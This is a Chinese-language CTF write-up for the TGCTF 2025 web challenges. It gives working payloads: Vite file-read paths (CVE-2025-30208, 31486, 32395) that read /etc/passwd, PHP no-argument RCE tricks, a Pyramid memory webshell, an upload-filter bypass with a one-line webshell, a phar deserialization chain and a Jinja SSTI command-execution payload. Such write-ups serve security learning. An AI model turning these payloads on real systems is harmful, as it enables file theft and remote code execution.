0%

TGCTF2025复现

TGCTF2025复现

前言

这次的tgctf也是一个不可多得好比赛,web总共15道,打了将近一半吧,有些题开始做的时候没什么思路,看了wp发现还是经验不足了,呜呜呜呜,想到明年就不是小登了,还要被小登创飞。

前端game

图片

进入是一个前端小游戏页面,看了源码,数据报都没发现什么奇怪的地方,但是看到url栏上的#,我就知道这是一个vue前端,一般是搭配vate服务器使用的,查查这两个东西相关的漏洞,还真给我找到了,具体来说有三个相关的cve,都是文件读取漏洞

CVE-2025-30208

1
2
3
4
5
/@fs/etc/passwd?import&raw??
/@fs/etc/passwd?raw??

/@fs/tgflagggg?import&raw??
/@fs/tgflagggg?raw??

图片

成功读取到文件

前端gameplus

升级版,没错,又是cve漏洞,还是文件读取

CVE-2025-31486

1
2
3
4
5
6
/etc/passwd?.svg?.wasm?init
/tgflagggg?.svg?.wasm?init
#
这个打法,不太好猜路径
curl "http node1.tgctf.woooo.tech:32613/@fs/app/?/ / / / / /tgflagggg?
import&?raw

前端game ultral

没错,还是cve漏洞,

CVE-2025-32395

1
2
3
4
5
访问/@fs/tmp/获得绝对路径/app,同时给了附件看docker也能看出路径

curl --request-target /@fs/app/#/ / / / / /etc/passwd http://node1.tgctf.woooo.tech:32742/
curl --request-target /@fs/app/#/ / / / / /tgflagggg http://node2.tgctf.woooo.tech:31500/

偷渡阴平

无参数rce,可利用的方法有很多,session_id绕过waf,getheader绕过waf等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){

//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi

eval($tgctf2025);

}

else{

die('(╯‵□′)╯炸弹!•••*~●');

}

常规思路都被堵死了,

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));来查看根目录下的文件,也是成功读取到flag文件在根目录下

paylaod构造

1
tgctf2025=readfile(end(getallheaders()));

在数据报中传入/flag就可以了

也可以使用

1
2
3
?tgctf2025=session_start();system(hex2bin(session_id())); PHPSESSID=636174202f666c6167       cat /flag的十六进制

?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');

偷渡阴平(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$tgctf2025=$_GET['tgctf2025']
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#| $|\%|\^|\&|\*|\

|\

|\ \ \+|\ \
\]|\}|\:|\'|\"|\,|\ \.|\>|\/|\?
|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|spli
t|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|di
r|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|
rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i"
, $tgctf2025)){
hint
:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(
bushi
}
else{
die('(╯‵ □′)╯炸弹!•••*~●');
}
highlight_file( FILE )

payload:

1
2
?tgctf2025=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167

其他解法

1
/?tgctf2025=system(implode(apache_request_headers()))

熟悉的配方,熟悉的味 道

pyramid内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

说实话,内存马还是第一次见到,打完这个就得去好好研究一波了

根据官方的wp来说,eval进行了严格的限制,其实是用来迷惑的,可以传入exec,是用来打内存马的

payload:

1
2
3
expr=exec("config.add_route('shell_route','/17shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell_route');app = config.make_wsgi_app()")

/17shell?1=ls /

还是打不进去,暂且放在这,待我好好研究一下吧

ezuploads

简单的文件上传,有点坑,dirsearch扫文件的时候,扫不出来bak后缀,还是我自己手动试出来的,下载upload.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

一眼丁真,move_uploaded_file的函数的漏洞,仔细看源码,文件名是由传入的name的值决定的,于是只需要get传参1.php/.就能绕过后缀名检测,然后针对内容检测,我塞了100万个垃圾数据,再传个一句话,蚁剑一连,打开终端读环境变量就可以了

火眼辩魑魅

robots.txt 直接打 tgshell.php

无过滤,直接连蚁剑

什么文件上传?

robots.txt 进去有 class.php ,简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
error_reporting(0);

class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
$evil = new yesterday();
$evil -> study = new today();
$evil -> study -> doing = new future();

然后会发现,不管上传什么文件都会报错,估计是有白名单,坑点,我上网找了一堆文件后缀,都不行,结果出题人说是捏造的后缀,我晕,atg,这个时候就可以直接打phar反序列化了

1
2
3
4
5
6
phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($evil); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

file_exist函数是会触发phar反序列化的

什么文件上传?(复仇)

和上一题一样的,都是phar反序列化, 不过多赘述

直面天命

查看源码,发现有提示/hint

点开hint告诉我还有另一个路由,可以直接爆破,贴上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import itertools
import requests
import string
import time
from urllib3.exceptions import InsecureRequestWarning

# 禁用SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


def generate_routes():
"""生成所有4位小写字母的组合"""
return [''.join(chars) for chars in itertools.product(string.ascii_lowercase, repeat=4)]


def scan_routes(base_url, routes, timeout=5, delay=0.1):
"""扫描路由并检查状态码,找到第一个有效路由后停止"""
for index, route in enumerate(routes):
url = f"{base_url}/{route}"
try:
response = requests.get(url, timeout=timeout, verify=False)
if response.status_code == 200:
print(f"[+] Found valid route: {url}")
return url # 找到第一个有效路由后返回
else:
print(f"[-] Route not found: {url} (Status: {response.status_code})")
except requests.exceptions.RequestException as e:
print(f"[!] Error accessing {url}: {e}")
except KeyboardInterrupt:
print("\n[!] Scan interrupted by user.")
return None

# 显示进度
if (index + 1) % 100 == 0:
print(f"\n[INFO] Scanned {index + 1}/{len(routes)} routes so far...")

# 添加延迟以避免被封禁
time.sleep(delay)

return None # 扫描完成但未找到有效路由


def main():
# 警告信息
print("\n" + "=" * 50)
print("WARNING: This script should only be used on websites you own or have explicit permission to test.")
print("Unauthorized scanning is illegal and unethical.")
print("=" * 50 + "\n")

target_url = input("Enter the base URL (e.g., http://example.com): ")

confirm = input("\nDo you confirm you have permission to scan this website? (yes/no): ")
if confirm.lower() != "yes":
print("Scan aborted.")
return

# 生成路由组合
routes = generate_routes()
print(f"\nGenerated {len(routes)} routes to scan...")

# 开始扫描
print("\nStarting scan...")
start_time = time.time()

valid_route = scan_routes(target_url, routes)

# 扫描完成
end_time = time.time()
print(f"\nScan completed in {end_time - start_time:.2f} seconds.")

# 输出结果
if valid_route:
print(f"\n[+] Valid route found: {valid_route}")
else:
print("\n[-] No valid routes found.")


if __name__ == "__main__":
main()

爆出来是aazz,来到aazz又告诉我可以传参,尝试了一些常见的参数名,发现是filename,尝试直接读取环境变量/proc/1/environ

这是非预期解,我们来看看预期解

通过filename直接读取app.py文件的源码

1
2
3
4
5
import os 
import string
from flask import Flask, request, render_template_string,
jsonify,send_from_directory
from a.b.c.d.secret import secret_key

可以知道secret在a.b.c.d.secret里面,是直面天命

输入直面6*6天命发现:

最终的payload:

1
2
3
4
5
直面
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]
["\x5f\x5fsubclasses\x5f\x5f"]()[351]('cat
flag',shell=True,stdout=-1).communicate()[0].strip()
天命

模板注入的payload有很多的

直面天命(复仇)

和上一题样的,只不过由任意文件读取转变为源码展示,payload还是一样的